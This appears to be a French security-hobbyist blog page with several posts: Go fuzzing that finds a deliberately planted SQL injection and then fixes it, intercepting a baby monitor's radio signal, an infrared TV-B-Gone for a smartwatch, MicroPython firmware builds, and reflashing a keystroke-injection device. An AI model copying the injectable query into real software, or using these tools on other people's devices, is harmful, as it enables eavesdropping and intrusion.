Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

Go Fuzz Yourself

Avec sa nouvelle mouture du Langage Go, Google nous propose une fonctionnalité intéressante qui espérons le ne passera pas inaperçu. En effet, avec l’arrivée de la version 1.18, Go nous offre un mécanisme de Fuzzing qui s’intègre dans les tests unitaires.

Introduction

Le fuzzing est une technique souvent utilisée par les chercheurs en sécurité pour identifier des vulnérabilités dans un applicatif. Le principe est d’injecter de la donnée aléatoire pour valider qu’aucun comportement inattendu n’apparait lors de l’exécution du programme. Ces éléments aléatoires peuvent être injectés dans des champs textes, des arguments, des fichiers, des périphériques ou n’importe quels éléments contrôlable par l’utilisateur ou extérieur au programme. A l’aide de cette technique il est par exemple possible de détecter la présence de dépassement de mémoire, de race condition ou bien de fuites de mémoire.

A l’aide du fuzzing, les vulnérabilités suivantes ont d’ailleurs été identifiées :

  • CVE-2019-16411 : Déni de service ou fuite d’information sur le système de détection d’intrusion Suricata
  • CVE-2017-3732 : Fuite d’information sur la bibliothèque OpenSSL
  • CVE-2016-6978 : Déni de service ou exécution de code arbitraire via Adobe Reader
  • CVE-2015-0061 : Fuite d’information sur Windows et Windows server

Le fuzzing est une technique très proche du Monkey Testing, et se différencie uniquement par la méthode employée. Le fuzzing va envoyer de la donnée aléatoire dans l’ensemble de l’application, là où le monkey testing se concentrera sur l’exécution d’actions aléatoire.

Habituellement, ce type de test peut être effectué avec des fuzzers tels que wfuzz, AFL, ou Burpsuite. Ils se basent souvent sur des dictionnaires ou des mutations et cherchent à identifier des comportements ou résultats inattendu. L’intérêt en dehors d’un aspect uniquement “cybersécurité”, est d’obtenir un résultat non pris en compte dans les tests unitaires classiques et de pouvoir gérer le cas par la suite.

https://blog.hboeck.de/uploads/american-fuzzy-lop.png

Avec son approche Golang 1.18 permet d’intégrer la recherche de ces bugs directement dans les tests unitaires et donc d’anticiper l’apparition de régression de sécurité entre chaque évolution du code. Quand on a l’habitude de travailler avec de l’intégration continue (CI) comme c’est le cas chez Attineos, ce type de fonctionnalité devient tout de suite une aubaine.

Détecter une injection SQL

Prenons un exemple simple. Notre application est une API qui permet de récupérer une liste de produit depuis une base de données MariaDB/MySQL. Le code de la fonction est le suivant :

func GetProduct(db *sql.DB, id string) *sql.Rows {
	query := fmt.Sprintf("SELECT * FROM products WHERE id='%s'", id)
	res, err := db.Query(query)
     if err != nil {
		log.Fatal(err)
	}
	return res
}

Une analyse rapide du code, nous permet d’identifier une injection SQL juste avant l’exécution de la query. Néanmoins, il est tout à fait possible qu’un développeur passe à côté et ne remarque pas cette vulnérabilité. Sur un test unitaire classique, nous aurions ce type de code :

func TestGetProduct(t *testing.T) {
	// We open the database
	db := OpenDB()
	defer db.Close()

	// We prepare our testcases
	testcases := []struct {
		id string
		name string
		price float32
	}{
		{"1", "Pain au chocolat", 0.10},
		{"2", "Croissant", 0.80},
		{"3", "Pain aux raisins", 0.90},
	}

	// We try each testcase
	for _, tc := range testcases {
		// Retrieve the product
		row := GetProduct(db, tc.id)
		defer row.Close()

		// Check that the data retrieved is equals to our testcase
		for row.Next() {
			var id int
			var name string
			var price float32
			row.Scan(&id, &name, &price)

			if name != tc.name {
				t.Log("error should be " + tc.name + ", but got " + name)
				t.Fail()
			}

			if price != tc.price {
				t.Logf("error should be %f, but got %f", tc.price, price)
				t.Fail()
			}
		}
	}
}

Si nous exécutons les tests unitaires, tout se déroule normalement comme attendu :

Unit test

Il s’agit là d’unes des limites des tests unitaires, car il est compliqué d’écrire un testcase sur un scénario que l’on a pas identifié. Dans le cas présent il s’agit d’une injection SQL qui n’est pas détectée par les testcases que nous avons définis.

C’est dans ce genre de cas que le fuzzing devient intéressant. En créant un nouveau test, nous allons intégrer une dose d’aléatoire dans nos vérifications afin, que cette fois-ci, l’injection SQL soit détectée. Cette fois-ci notre testcase ne prend pas en argument testing.T mais testing.F. Notre test va donc commencer comme suit :

func FuzzGetProduct(f *testing.F) {
	db:= OpenDB()
	defer db.Close()

	// Our testcase
}

Avant de demander à notre test de lancer son fuzzing, il aura besoin de quelques valeurs valides pour la fonction GetProduct afin d’identifier le type de donnée attendu par la fonction. Nous allons donc lui en fournir quelques-uns :

	testcases := []string{"1", "2", "42", "15863060418"}
	for _, tc := range testcases {
		f.Add(tc)
	}

Une fois ces données fournies, nous pouvons entrer dans le vif du sujet avec la routine de fuzzing

	f.Fuzz(func(t *testing.T, orig string) {
		GetProduct(db, orig)
	})

Cette dernière partie est celle qui va venir fuzzer notre fonction GetProduct(). Notre test complet contient le code suivant :

func FuzzGetProduct(f *testing.F) {
	db := OpenDB()
	defer db.Close()

	testcases := []string{"1", "2", "15863060418"}
	for _, tc := range testcases {
		f.Add(tc)
	}
	f.Fuzz(func(t *testing.T, orig string) {
		GetProduct(db, orig)
	})
}

Si nous exécutons notre test à nouveau nous avons le même résultat :

# go test
PASS
ok      y0no/fuzz_example       0.004s

Sans arguments supplémentaires golang ne lance pas le fuzzing. Pour cela il est nécessaire d’ajouter l’option -fuzz avec le nom de notre test. Dans notre cas la commande sera go test -fuzz=GetProduct, ce qui nous donne le résultat suivant :

go test -fuzz=GetProduct
fuzz: elapsed: 0s, gathering baseline coverage: 0/3 completed
fuzz: elapsed: 0s, gathering baseline coverage: 3/3 completed, now fuzzing with 4 workers
fuzz: elapsed: 0s, execs: 14 (236/sec), new interesting: 1 (total: 4)
--- FAIL: FuzzGetProduct (0.06s)
    fuzzing process hung or terminated unexpectedly: exit status 1
    Failing input written to testdata/fuzz/FuzzGetProduct/7bd1b1c4c3d126e40a4f332964108261a47ec776a24b194fa56bdde7f649a336
    To re-run:
    go test -run=FuzzGetProduct/7bd1b1c4c3d126e40a4f332964108261a47ec776a24b194fa56bdde7f649a336
FAIL
exit status 1
FAIL    y0no/fuzz_example       0.066s

Comme nous pouvons le voir cette fois-ci, le test est à l’état FAIL suite à un argument invalide passé à GetProduct. Pour avoir le détail de ce test invalide, il nous suffit d’aller voir le fichier invalide généré :

cat testdata/fuzz/FuzzGetProduct/7bd1b1c4c3d126e40a4f332964108261a47ec776a24b194fa56bdde7f649a336
go test fuzz v1
string("'")

Dans le cas présent, nous voyons que c’est le caractère ' qui pose problème est fait planter le programme. Si nous injectons cette valeur dans la requête SQL, voici ce que nous obtenons :

query := "SELECT * FROM products WHERE id='''"

On voit très rapidement que notre caractère a été interprété comme une fermeture de chaine de caractère et que la fin de notre requête n’est plus valide. Notre injection SQL a bien été détectée cette fois-ci.

Pour corriger le code, nous pouvons passer par une requête préparée avec le code suivant :

func GetProduct(db *sql.DB, id string) *sql.Rows {
	res, err := db.Query("SELECT * FROM products WHERE id=?", id)
	if err != nil {
		log.Fatal(err)
	}
	return res
}

Si nous rééxecutons le test qui plantait précédemment, on voit qu’il ne nous pose plus de problème :

go test -run=FuzzGetProduct/7bd1b1c4c3d126e40a4f332964108261a47ec776a24b194fa56bdde7f649a336
PASS
ok      y0no/fuzz_example       0.003s

Grace à l’ajout du fuzzing dans nos tests nous avons :

  • identifié un scénario de test problématique
  • Identifié une vulnérabilité de type injection SQL
  • Corrigé “salement” l’injection SQL

Intégration continue

Par défaut, lorsque l’on lance les tests avec fuzzing, go envoi des données aléatoires de manière infinie. Dans le cas où l’on démarre ces tests dans un processus d’intégration continue, l’exécution infinie risque de nous poser problème. Pour faire face à cette contrainte, il est possible d’appliquer une option nommée -fuzztime permettant de définir un temps maximal d’exécution du fuzzing. Si le test dépasse ce temps, alors le programme s’arrête en considérant que le test est à l’état SUCCESS. Par exemple pour tester uniquement trente secondes de fuzzing :

go test -fuzz=GetProduct -fuzztime=10s

Il est donc très simple aujourd’hui d’ajouter une part d’aléatoire dans les tests unitaires d’un projet go avec cette version 1.18. Il serait donc dommage de s’en priver :)

Écoute du signal d'un Babyphone via RTL-SDR

Introduction

Depuis quelque semaines j’ai la chance d’être l’heureux “possesseur” d’un bébé. Pour surveiller le petit bonhomme, nous avons investi dans un babyphone tout ce qu’il y a de plus classique, c’est-à-dire avec un émetteur et un récepteur. Vu que je n’ai plus beaucoup l’occasion de dormir, qu’une RTL-SDR trainait sur le bureau, et que je ne connais pas très bien GNURadio. Je me suis fixé pour objectif de créer un circuit virtuel à l’aide de GNURadio Companion afin d’avoir un récepteur virtuel pour le babyphone avec les mêmes “fonctionnalités”. Néanmoins, avant de rentrer dans le vif du sujet, on va éclaircir quelques termes.

Une SDR est une radio définie par logiciel (Software Defined Radio). Il s’agit d’un appareil capable d’émettre et/ou de recevoir des signaux radio avec un circuit de traitement qui n’est pas géré par le hardware. Pour résumer, il est possible avec ces petites bêtes de “programmer” le traitement que l’on veut faire du signal à partir d’un ordinateur sans avoir à modifier les composants de la carte électronique. C’est le logiciel GNURadio Companion, qui dans le cadre de cet article permettra de “coder” le traitement des signaux envoyés par le babyphone. GNURadio Companion, abrégé GRC, est une interface graphique à GNURadio qui permet de facilement créer un circuit de traitement du signal en positionnant des blocs de traitement (filtrage, modulation, codage, etc.) et en les reliant les uns aux autres.

GNURadio Companion

Maintenant que nous avons défini les termes “complexes”, voici le plan d’action pour arriver à créer un récepteur logiciel pour le babyphone :

  • Identifier les fonctionnalités du récepteur
  • Trouver la fréquence et la modulation utilisées par l’émetteur
  • Créer le “circuit” de traitement GNURadio permettant d’émuler le récepteur

Étape 1 : Identifier les fonctionnalités du récepteur

Le récepteur du babyphone est plutôt simple, sans fonctionnalités exotiques. Au niveau des entrées, nous avons un réglage de volume permettant d’éteindre le récepteur lorsqu’il est sur 0. Un switch permettant de sélectionner le canal 1 ou 2 pour les communications. Et pour ce qui est des sorties, nous avons un hautparleur pour entendre ce qui se passe et une série de signaux lumineux pour avoir le niveau de “puissance” du signal.

Étape 2 : Trouver la fréquence et la modulation de l’émetteur

Il existe plusieurs méthodes permettant de trouver la fréquence de fonctionnement d’un émetteur. Il est tout d’abord possible de voir si une indication sur l’appareil affiche une fréquence de fonctionnement. Si ce n’est pas le cas, nous pouvons toujours nous retrancher sur la notice ou la documentation du constructeur. Dans notre cas, le site du constructeur indique un fonctionnement à 865MHz sans plus d’information. Pour un début c’est pas mal, malheureusement l’émetteur permet de sélectionner deux canaux. Il y a donc de forte chance que plusieurs fréquences soit utilisées.

Vu que le constructeur nous indique un fonctionnement à 865MHz, nous allons tenter d’effectuer un balayage fréquentiel à l’aide de l’outil rtl_power et de notre RTL-SDR. L’objectif ici, est de mesurer la puissance des signaux sur chaque fréquence, et donc de détecter les plages occupées.

Pour effectuer ce balayage, nous allons donc utiliser la commande rtl_power -f 840M:880M:100k res.csv. Celle-ci nous permet de scanner entre 860 et 880MHz avec un pas de 100kHz et d’enregistrer les mesures relevées dans un fichier nommé res.csv. Je laisse le script tourner pendant quelques minutes, tout en changeant le canal de l’émetteur de temps en temps.

A la fin de l’enregistrement, nous obtenons un fichier CSV de quelques kilo-octets pas forcément très lisible. Nous allons donc utiliser un script python permettant de rendre le résultat plus… graphique.

FFT

Nous voyons en jaune sur l’image les signaux reçus par la clé RTL-SDR. Nous apercevons très nettement deux bandes de fréquences en fonction du canal choisi. Nous pouvons donc valider que les fréquences utilisées par l’émetteur semblent être aux alentours de 864,3MHz pour le canal 1 et 863,2MHz pour le canal 2. Il nous manque donc maintenant la modulation pour pouvoir tenter de faire quelque chose avec GNURadio.

Pour la modulation, nous allons passer par l’outil GQRX, qui est une interface permettant de facilement manipuler une SDR. Nous allons donc pouvoir écouter les fréquences et voir si un signal audible sort avec les démodulations intégrées à l’outil.

En se mettant sur la fréquence 864.3MHz dans GQRX, on remarque très rapidement sur le spectre fréquentiel que l’on est “à côté” du signal.

Fréquence canal 1

En réalité, le premier canal semble être sur 864.44MHz et le second sur 863.25MHz. En sélectionnant le mode “WFM Mono”, on entend de suite ce qui est envoyé par l’émetteur.

WIN!

Maintenant que l’on a toutes les informations que l’on veut, nous allons pouvoir passer sur GNURadio Companion et tenter d’implémenter les fonctionnalités du récepteur dans un circuit virtuel.

Étape 3 : Création du circuit dans GNURadio

Pour notre circuit GNURadio, nous allons utiliser les blocs suivants :

  • Une source RTL-SDR pour capter le signal
  • Un bloc power squelch pour nettoyer le bruit
  • Un filtre passe bas
  • Un démodulateur WBFM
  • Une sortie audio pour entendre ce que l’on capte

Avec ces éléments, nous sommes en mesure de récupérer et traiter le signal venant de l’émetteur. Mais nous allons y ajouter quelques widgets, permettant de gérer graphiquement notre récepteur virtuel. Avec QT, nous pouvons ajouter un *QT GUI Chooser", pour que je puisse sélectionner le canal de communication, et un QT GUI Range afin que je puisse régler le volume à l’aide d’un slider.

Après avoir mis tout ce petit monde sur le plan et relier tout comme il faut, voici le circuit :

Circuit GNURadio

Une fois exécuté, nous sommes en mesure d’entendre les sons captés par l’émetteur et l’interface nous permet de gérer le volume ou bien de sélectionner le canal.

récepteur virtuel

Conclusion

Maintenant que l’on connait le fonctionnement du récepteur et celui du GNURadio Companion, pourquoi ne pas tenter de faire peur à la maman ? Et si la fois prochaine, nous tentions d’émettre un signal en se faisant passer pour l’émetteur du bébé ?

Ressources :

T-Watch 2020: TV-B-Gone

La dernière fois, nous avons vu comment obtenir un environnement pour la T-Watch2020 avec Micropython et LVGL. Cette fois, nous allons jouer avec l’emeteur infrarouge de la montre afin de voir s’il est possible d’en faire un TV-B-Gone.

Qu’est ce qu’un TV-B-Gone

Vu que Wikipedia l’écrit très bien sur la page dédiée au TV-B-Gone, nous allons reprendre sa présentation :

Le TV-B-Gone est une télécommande universelle dont l’unique fonction est d’éteindre et d’allumer les téléviseurs. Le concept a été réalisé en open source et est commercialisé par Mitch Altman, ingénieur dans la Silicon Valley. Il s’agit d’un détournement de la télécommande universelle : le TV-B-Gone parcourt les différentes fréquences utilisées par les différentes marques en émettant pour chacune d’entre elles le signal correspondant à la commande d’arrêt du téléviseur à l’aide d’une diode infrarouge. Cette télécommande a été pensée pour permettre d’éteindre les téléviseurs dans les lieux publics afin de ne plus subir en permanence la publicité ou les émissions télévisées, notamment dans les fast-foods, les magasins ou encore les files d’attente. Ce gadget provoque l’engouement des activistes anti-télévision ou antipub, qui organisent régulièrement des « raids » dans les magasins d’électroménager pour éteindre en quelques pressions des murs entiers de téléviseurs en démonstration.

Plusieurs implémentations existent pour Arduino, mais il ne semble pas y avoir d’existant pour du Micropython. Nous allons donc voir comment fonctionne une télécommande et comment on peut le réimplementer en Python.

Comment fonctionne l’émission infrarouge d’une télécommande

Pour faire simple une télécommande encode une valeur en signaux lumineux. Cet encodage n’est pas universel et plus ou moins chaque constructeur utilise le sien. Par exemple, SONY propose un encodage simple. Il définit tout d’abord un temps T à 600µs qui lui permet d’encoder différentes valeurs. Si il doit encoder un 1, alors il envoie un signal lumineux de 2T puis une absence de signal de 1T, soit 1200µs à l’état haut et 600µs à l’état bas. Si il doit encoder un zero, alors il envoie un signal lumineux de 1T et une absence de signal de 1T, soit 600µs à l’état haut et 600µs à l’état bas. Le schéma suivant résume l’encodage utilisé par SONY :

Schéma de cypress.com présentant l’encodage SONY

Comme on peut le voir sur le schéma, un signal “START” de 2400µs à l’état haut et 600µs à l’état bas est utilisé pour débuter la communication avant d’encoder un message.

Quasiment tous les protocoles utilisent ce fonctionnement, seules les temps hauts et bas changent. Afin de pouvoir faire quelque chose d’universel, nous n’allons pas prendre en compte chaques particularités des protocoles. Nous ne ferons qu’alterner des temps hauts et temps bas qui seront interpreté par le récepteur IR de notre télévision. C’est d’ailleurs ce fonctionnement que l’on retrouve sur tout un tas d’implémentation du TVBGone que ce soit sur Arduino ou d’autres plateformes.

Utiliser la diode infrarouge depuis Micropython

La diode infrarouge de la T-Watch est reliée à la Pin 13 de l’esp32. Du coup, nous pouvons facilement la piloter. Pour envoyer un signal brut, nous pouvons tester quelque chose comme ça :

from machine import Pin
from utime import sleep_ms

ir = Pin(13, Pin.OUTPUT)
raw_signal = {'freq': 38000, 'codes': [600, 600, 1200, 600]}
codes = raw_signal.get('codes')
for i in range(0, len(codes), 2):
    ir.on()
    sleep_ms(codes[i])
    ir.off()
    sleep_ms(codes[i+1])

C’est très basique, mais ça permet de tenter une implémentation en pure python. Après plusieurs essais, il s’est avéré qu’une latence assez importante s’est fait ressentir et que le signal n’était pas interpreté correctement. Du coup, j’ai modifié légérement la bibliothèque “ir”, développée en C, présente dans le firmware afin qu’elle soit en mesure d’envoyer des données brutes. Le fork est téléchargeable ici. Pour l’utiliser depuis Micropython c’est assez simple :

from ir import rmtlib_raw_send
raw_signal = {'freq': 38000, 'codes': [600, 600, 1200, 600]}
freq = raw_signal.get('freq')
codes = raw_signal.get('codes')
rmtlib_raw_send(freq, codes)

Après plusieurs tests, on est sur quelque chose de beaucoup plus concluant. J’ai donc créé une bibliothèque TVBGone que l’on va pouvoir utiliser depuis notre montre :

wget https://forge.tedomum.net/-/snippets/46/raw -O tvbgone.py
ampy -p /dev/ttyUSB0 put tvbgone.py

Depuis l’interpreteur python de votre montre, vous devriez pouvoir lancer votre TVBGone avec :

picocom /dev/ttyUSB0 -b115200
>> from tvbgone import TVBgone
>> TVBgone().start()

Créer une interface

Afin de rendre l’utilisation du TVBGone plus simple, nous allons créer une simple interface à l’aide de LVGL. Celle-ci est juste composée d’un bouton qui lance l’attaque lorsqu’on appuie dessus et qui affiche un spinner le temps du l’attaque.

Le code de l’interface est le suivant :

import lvgl as lv
import ttgo
import _thread
from IR import TVBgone


class Button:
    def __init__(self, app):
        self.btn = lv.btn(app)
        self.btn.align(lv.scr_act(), lv.ALIGN.CENTER, 0, 0)
        self.btn.set_event_cb(self.onevent)

        self.text_label = lv.label(self.btn)
        self.text_label.set_text("Click to start")

        self.spinner = lv.spinner(app)
        self.spinner.align(lv.scr_act(), lv.ALIGN.CENTER, 0, 0)
        self.spinner.set_hidden(True)

    def onevent(self, btn, event):
        if event == lv.EVENT.CLICKED:
            #self.text_label.set_text("In progress")
            #self.btn.set_state(self.btn.STATE.DISABLED)
            self.btn.set_hidden(True)
            self.spinner.set_hidden(False)
            _thread.start_new_thread(self.attack, ())
            
    def attack(self):
        TVBgone().start()
        self.spinner.set_hidden(True)
        self.btn.set_hidden(False)

# Init watch
watch = ttgo.Watch()

# Init lvgl
lv.init()
watch.lvgl_begin()

# Enable backlight
watch.tft.backlight_fade(100)

# Init interface
scr = lv.obj()
win = lv.win(scr)
win.set_title("TVBGone PoC")
Button(win)
lv.scr_load(scr)

Si tout se passe bien vous devriez avoir un résultat équivalent au mien: https://mastodon.tedomum.net/@y0no/104785810302905250

Nous avons donc un TV-B-Gone très élémentaire mais fonctionnel. Plusieurs améliorations peuvent être envisageable :

  • Possibilité d’arrêter l’attaque en cours
  • Selection du payload Europe ou US
  • Gestion des signaux plus exotiques

Ressources :

T-Watch 2020 : Micropython + LVGL

Lors de mon dernier article sur la twatch, je vous présentais comment installer MicroPython sur la TTGO T-Watch 2020. L’environnement déployé était plutôt “rustique” et ne permettait pas de profiter pleinement des fonctionnalités que propose la T-Watch. Depuis, les choses ont un peu bougé, et il est maintenant possible d’avoir un environnement bien plus développé avec notamment le support de LVGL pour avoir une interfaces graphiques qui dépote.

Qu’est ce que LVGL ?

LVGL est une bibliothèque permettant de facilement créer des interfaces graphiques pour de l’embarqué. Le tout semble plutôt léger et propose tout un tas de widget bien pratique. Par exemple voici le type de rendu que l’on peut avoir :

Exemple d’interface créée avec LVGL

Créer l’image Micropython avec LVGL

Contrairement au dernier article, nous n’allons pas partir du dépot Micropython officiel, mais d’une version modifiée. En effet, Nikita Selin a fait une grosse partie du boulot pour porter proprement la montre avec Micropython et notamment offrir une compatibilité avec LVGL. Nous allons donc partir de son dépôt.

Comme la dernière fois nous allons, préparer notre environnement avec les commandes suivantes :

mkdir twatch-micropython-lvgl && cd twatch-micropython-lvgl
# Téléchargement du code Micropython
git clone https://github.com/OPHoperHPO/lilygo-ttgo-twatch-2020-micropython micropyhon
# Téléchargement du framework de développement Espressif
git clone https://github.com/espressif/esp-idf.git
# Téléchargement de la toolchain ESP32 Xtensa
wget https://dl.espressif.com/dl/xtensa-esp32-elf-linux64-1.22.0-80-g6c4433a-5.2.0.tar.gz
tar xzvf xtensa-esp32-elf-linux64-1.22.0-80-g6c4433a-5.2.0.tar.gz

Maintenant que tout est téléchargé, Il suffit de se rendre dans le dossier lilygo-ttgo-twatch-2020-micropython puis de modifier le fichier makefile présent dans ports/esp32 afin d’y définir les chemins vers ESP-IDF et la toolchain ESP32 Xtensa. Cela evite de se pastiller les variables d’environnement à définir à chaque fois comme c’était le cas précédemment.

Une fois que c’est fait, on prépare l’environnement :

cd micropython
git submodule update --init
make -C mpy-cross

Maintenant, nous pouvons brancher la montre, compiler, puis déployer le firmware:

make -C ports/esp32 deploy

Tester le firmware

Maintenant que nous avons déployer notre firmware, nous allons pouvoir tester si LVGL fonctionne correctement avec le script suivant :

import lvgl as lv
import ttgo

# Init watch
watch = ttgo.Watch()

# Init lvgl
lv.init()
watch.lvgl_begin()

# Enable backlight
watch.tft.backlight_fade(100)


# Init lvgl
lv.init()
watch.lvgl_begin()

# Enable backlight
watch.tft.backlight_fade(100)

# Init interface
scr = lv.obj()
win = lv.win(scr)
win.set_title("TWatch + LVGL")
btn = lv.btn(win)
label = lv.btn(btn)
label.set_text("Hello world")
lv.scr_load(scr)

Si une interface s’affiche, c’est gagné! On va maintenant pouvoir s’amuser avec les différents composant de la montre. Pourquoi pas créer un TVBGone ou outils d’attaque Bluetooth ? ;)

Micropython sur TTGO T-Watch 2020

Il y a quelque temps, j’ai eu l’occasion de me procurer une smartwatch Lilygo T-Watch 2020. Il s’agit d’une montre totalement programmable avec un prix plutôt accessible, aux alentours de 30€. Son principal interêt, c’est les différents composants qu’elle embarque, à savoir :

  • Un chip ESP32
  • Un Module RTC PCF8563 (pour une montre c’est mieux)
  • Un écran LCD tactile
  • Un accéleromètre
  • Un vibreur
  • Un haut-parleur
  • Un emetteur infrarouge
  • Un chip WiFi 802.11 b/g/n
  • Un chip Bluetooth 4.2 et BLE

Du coup, c’est plutôt interessant à bricoler et les possibilités de “hack” sont assez importante. Bien que la montre se programme principalement en C++ à l’aide de l’éditeur Arduino, il semble possible de programmer en Python dessus via MicroPython. Du coup, c’est parti.

Créer l’image Micropython

Avant de pouvoir programmer en python sur la T-Watch, il est tout d’abord nécessaire de déployer un firmware avec Micropython dessus. Comme il n’éxiste pas de firmware officiel, nous allons compiler le notre, y inclure quelques librairies python permettant de jouer avec les composants de la montre et le déployer.

La première étape consiste à télécharger les sources de MicroPython et les différentes dépendances du projet :

mkdir twatch-micropython && cd twatch-micropython
# Téléchargement du code Micropython
git clone https://github.com/micropython/micropython/
# Téléchargement du framework de développement Espressif
git clone https://github.com/espressif/esp-idf.git
export ESPIDF=<PATH_TO_DIRECTORY>/esp-idf
# Téléchargement de la toolchain ESP32 Xtensa
wget https://dl.espressif.com/dl/xtensa-esp32-elf-linux64-1.22.0-80-g6c4433a-5.2.0.tar.gz
tar xzvf xtensa-esp32-elf-linux64-1.22.0-80-g6c4433a-5.2.0.tar.gz
export PATH=<PATH_TO_DIRECTORY>/xtensa-esp32-elf/bin:$PATH

# Préparation de l'environnement Micropython
cd micropython
git submodule update --init
make -C mpy-cross

Il est ensuite possible de compiler le firmware avec les commandes suivantes :

make -C ports/esp32 clean
make -C ports/esp32 all

Si tout s’est bien passé, le firmware est présent dans le dossier ports/esp32/build-GENERIC. Nous allons pouvoir le tester.

Tester le firmware

Pour déployer le firmware que nous venons de compiler, il suffit de brancher la T-Watch en USB à l’ordinateur puis d’entrer la commande suivante :

make -C ports/esp32 deploy

Il est ensuite possible de se connecter à un shell interactif python (REPL) via le port USB en série. Par exemple, à l’aide du logiciel picocom :

picocom /dev/ttyUSB0 -b115200

Il est ensuite possible d’entrer un simple code python :

from machine import Pin
buzz=Pin(4,Pin.OUT)

# Faire vibrer la montre
buzz.on()
# Arrêter le vibreur
buzz.off()

Si tout s’est bien passé, nous allons pouvoir passer à la préparation d’un firmware plus spécifique à la T-Watch. Pour quitter picocom, il suffit d’effectuer Ctrl+a Ctrl+x.

Préparer un framework spécifique

Comme nous avons pu le voir, le framework actuel permet d’interagir avec les composants de la montre. Néanmoins, il s’agit d’un environnement basique sans librairies permettant, par exemple, d’interagir facilement avec l’écran LCD ou la puce RTC.

Nous allons donc amener quelques bibliothèques dans notre firmware afin de pouvoir les utiliser sur notre montre. Ce type de bibliothèque est souvent chronophage à développer, heureusement, certains projet sur cette montre commence à pointer le bout de leur nez, c’est par exemple le cas de ce projet dont nous allons récupérer quelques fichiers utiles, à savoir :

Nous allons donc retourner dans nos sources de Micropython et télécharger ces fichiers dans un dossier spécifiques.

cd micropython/ports/esp32/modules
wget https://gitlab.com/mooond/t-watch2020-esp32-with-micropython/-/raw/master/bma423.py
wget https://gitlab.com/mooond/t-watch2020-esp32-with-micropython/-/raw/master/axp202c.py
wget https://gitlab.com/mooond/t-watch2020-esp32-with-micropython/-/raw/master/pcf8563.py
wget https://gitlab.com/mooond/t-watch2020-esp32-with-micropython/-/raw/master/st7789my.py
wget https://gitlab.com/mooond/t-watch2020-esp32-with-micropython/-/raw/master/focaltouch.py

Le dossier modules permet de déposer des bibliothèques écrite en python qui seront intégrées dans notre firmware. Maintenant que c’est fait, nous pouvons recompiler notre firmware et le déployer :

cd micropython/ports/esp32
make all
make deploy

Testons, notre module RTC avec le code suivant :

from machine import Pin,I2C
import pcf8563

i2c = I2C(0,scl=Pin(22), sda=Pin(21))
rtc = pcf8563.PCF8563(i2c)

# Doit renvoyer l'heure actuelle
print(rtc.hours())

# Changement d'heure
rtc.write_all(hours=12)
print(rtc.hours())

Et voilà, il ne reste plus qu’à ajouter quelques autres bibliothèques pour simplifier l’usage de python sur cette montre. Pourquoi pas l’ajout de LVGL pour créer de jolies interfaces ?

Ressources :

Whid Injector - Passer sur une keymap FR

Wifi HID Injector

Si vous avez fait l’acquisition d’une WHID Injector, vous avez pu être surpris lors de vos premiers test de remarquer que le payload que vous aviez préparé ne s’exécute pas comme prévu. Si vous êtes sur une station avec un clavier AZERTY, c’est tout à fait normal.

En effet, la WHID Injector est configurée, par défaut, pour fonctionner avec un layout QWERTY. Par conséquent, tous vos scripts de bon frenchy ne fonctionnent pas correctement. Pour gérer ce problème, il existe deux solutions :

  • Écrire un script qui convertit l’ensemble de vos payloads d’AZERTY vers QWERTY.
  • Flasher le firmware de la WHID Injector afin qu’elle gère nativement le layout AZERTY.

Pour la première solution, allez voir du côté du WHID Injector Toolkit qui convertit automatiquement les payloads vers le layout de Molière, plus particulièrement ce fichier. Ça fonctionne, c’est rapide et ça permet de passer rapidement d’un layout à l’autre.

Si vous n’avez que des cibles en AZERTY, autant passer par la deuxième solution, plus durable et plus instructive. En plus ça tombe bien, c’est cette solution qu’on couvre dans l’article.

Flash du firmware

Pourquoi flasher le firmware ?

Tout d’abord pourquoi ?

  • Parce que c’est plus drôle ;
  • Parce qu’on ne sait pas ce qu’il y a dans le firmware fournit par défaut ;
  • Parce que c’est comme ça.

Configuration de l’editeur ARDUINO

La WHID Injector est basée sur un chip ATMEGA 32u4 et peut donc être programmée à l’aide de l’éditeur Arduino. Il faut donc tout d’abord l’installer, si comme moi, vous utilisez ArchLinux :

pacman -S arduino

Il suffit ensuite d’ajouter le support de la board ESP8266 dans l’IDE. Pour ce faire, il suffit d’aller dans les préferences de l’IDE (Fichier > Préférences), puis d’entrer l’adresse https://github.com/esp8266/Arduino/releases/download/2.3.0/package_esp8266com_index.json dans le champ ‘URL de gestionnaire de cartes supplémentaires’.

Il est ensuite possible d’installer la carte ‘esp8266’ dans le gestionnaire de carte (Outils > Type de carte > Gestionnaire de carte).

Compilation

Une fois l’éditeur configuré correctement, il est maintenant nécessaire de récupérer le code d’ESPloitV2, de changer le layout de la librairie Keyboard , puis de mettre à jour l’équipement.

Keyboard library

Tout d’abord, il faut modifier la librairie Arduino afin de passer le layout de QWERTY à AZERTY.

cd /home/<user>/Arduino/libraries
git clone https://github.com/arduino-libraries/Keyboard

Une fois cloné, il suffit de modifier le fichier /home/<user>/Arduino/libraries/Keyboard/src/Keyboard.cpp en le remplaçant par le contenu de celui-ci.

Il est possible de gérer d’autres “keymap” que le français. Pour cela, il suffit de se rendre sur ce dépôt et de copier la variable _asciimap correspondant à la langue que l’on veut.

ESPloitV2

ESPloitV2 est le “logiciel” qui fait fonctionner la WHID Injector, c’est notamment lui qui fournit l’interface web de la clé. Pour récupérer le code, il faut le cloner depuis le dépôt Github suivant :

git clone https://github.com/exploitagency/ESPloitV2

Il suffit ensuite d’ouvrir le fichier ESPloitV2/source/Arduino_32u4_Code/Arduino_32u4_Code.ino dans l’éditeur Arduino, de le compiler, puis de l’envoyer sur la clé.

Pour ce faire, dans l’IDE Arduino, il est nécessaire de sélectionner le type de carte “LilyPad Arduino USB”, de cliquer sur “Téléverser” et voilà.

Ressources

Découverte du security.txt

kezako ?

Aujourd’hui, si vous détectez un problème de sécurité sur un site web ou un serveur que vous visitez, plusieurs freins peuvent vous empêcher de remonter convenablement la vulnérabilité.

En effet, retrouver le contact de l’administrateur du système peut parfois s’avérer laborieux et lorsque nous le trouvons, d’autres questions se posent :

  • Est-ce la meilleure manière de lui remonter l’information ?
  • A-t-il un canal de communication chiffré ?
  • Comment va-t-il le prendre ?
  • Est-ce qu’il peut se retourner contre nous ?

C’est entre autre à ces questions que tente de répondre le fichier security.txt. Son objectif est de centraliser ces informations en fournissant un cadre permettant la remontée d’information de sécurité.

Comment ça marche ?

Sa mise en oeuvre est relativement simple et est décrite en détails dans le draft de la RFC situé ici. Pour faire simple, il s’agit d’un simple fichier texte que l’administrateur du système doit placer à la racine de son serveur ou dans le dossier /.well-known/ de son site web. D’ailleurs, si vous ne connaissez pas ce dossier, je vous encourage à lire la RFC8615 qui décrit son rôle.

